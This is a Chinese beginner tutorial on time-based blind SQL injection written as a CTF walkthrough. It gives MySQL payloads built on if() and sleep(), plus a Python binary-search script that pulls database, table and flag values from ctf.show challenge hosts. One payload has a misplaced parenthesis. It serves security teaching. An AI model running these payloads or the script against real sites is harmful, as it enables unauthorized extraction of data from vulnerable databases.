布尔盲注与时间盲注(二)0基础

0x03 时间盲注

其实时间注入就是比布尔盲注多了一个if函数,sleep()函数就相当于布尔盲注中的true或false,其他语句大致都相同。
大家别怕,ez

知识基础讲解

转ASCII:
ascii(str) 返回字符字符串str首字符的ascii码值。如果str是空串,则返回0;如果str是NULL,则返回NULL.

ord(str) 同ascii.

length(str) 返回str的长度。
切片:
substr(str, pos, len) 字符串截取函数,返回str从pos开始、长度为len的子串。需要注意,这里的字符串从1开始编号。

mid(str, pos, len) 同substr.

substring(str, pos, len) 同substr.

left(str, len) 字符串左截取函数,返回str的左len个字符。

right(str, len) 字符串右截取函数,返回sre的右len个字符。
最主要:
sleep(t) 延时t秒钟。这个函数返回值是0。

if(expr1, expr2, expr3) 逻辑判断函数。如果expr1为真,则执行expr2;否则执行expr3.

做题思路

先判断注入点能否时间盲注

?id=1' and if(1,sleep(5),3)--+
将闭合符号改变,把所有常见闭合都试了,如果都没有就可能不是时间盲注了

如果是的话,他会sleep 大约5秒然后再正常运行
在这里插入图片描述

依旧是熟悉的配方,测数据库字符串长度
?id=1' and if(length(database())=8,sleep(5),3)--+

在这里插入图片描述

穷举字符
?id=1' and if(ascii(substr(database(),1,1)=115),sleep(5),3)--+

在这里插入图片描述

脚本写法

我们是根据相应时间来判断字符是否正确的那么注入的话起码就得四次,5秒的话太过长久

import requests

flag=""
i=0
while True:
    i += 1
    low = 32
    high =127

    while low < high:
        mid = (low+high)//2


        #url=f"http://376bec44-3484-4842-81f7-6248706c0ded.challenge.ctf.show/?id=1' and if((ascii(substr((database()),{i},1))>{mid}),sleep(0.4),0) --+"
        #security
        #url = f"http://376bec44-3484-4842-81f7-6248706c0ded.challenge.ctf.show/?id=1' and if((ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid}),sleep(0.4),0) --+"
        #ctfshow, ctftrainiqg / inhormatiqq_scnema, mysql, uerfortanch_scjema2security, tfst
        #url = f"https://9b07e3d2-53e3-440b-95e2-9e83c07520e3.challenge.ctf.show/?id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid}),sleep(0.4),0) --+"
        # fnagug8
        #url = f"https://9b07e3d2-53e3-440b-95e2-9e83c07520e3.challenge.ctf.show/?id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flagug'),{i},1))>{mid}),sleep(0.4),0) --+"
        #id,flag4a23
        url = f"https://9b07e3d2-53e3-440b-95e2-9e83c07520e3.challenge.ctf.show/?id=1' and if((ascii(substr((select group_concat(id,flag4a23) from ctfshow.flagug),{i},1))>{mid}),sleep(0.4),0) --+"

        r=requests.get(url=url)

        try:
          r=requests.get(url=url,timeout=0.3)
          high =mid
        except:
           low =mid +1
    if low!= 32:
        flag+=chr(low)
    else:
        break
    print(flag)

这里讲个小细节
那么我们就把时间给调低一点,只要他不报错就可以

r=requests.get(url=url,timeout=0.3)
如果响应时间低于0.3s那么在本脚本中就说明比字符ASCII码比midASCII码要小

然后就是二分了,缩小区间,减少穷举次数

我写文章的时候是开了两个靶机,太慢了,所以url不一样见谅昂
还有就是大家有没有发现时间盲注和布尔盲注的小区别
时间盲注用的是try-except模块来实现字符锁定

        try:
          r=requests.get(url=url,timeout=0.3)       #能够产生异常的语句(也就是超时语句)
          high =mid              # 如果没有超时,那么就说明不大于mid我们二分把字符区间变为low-mid
        except:
           low =mid +1             # 如果超时,那么就说明大于mid我们二分把字符区间变为mid-high
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值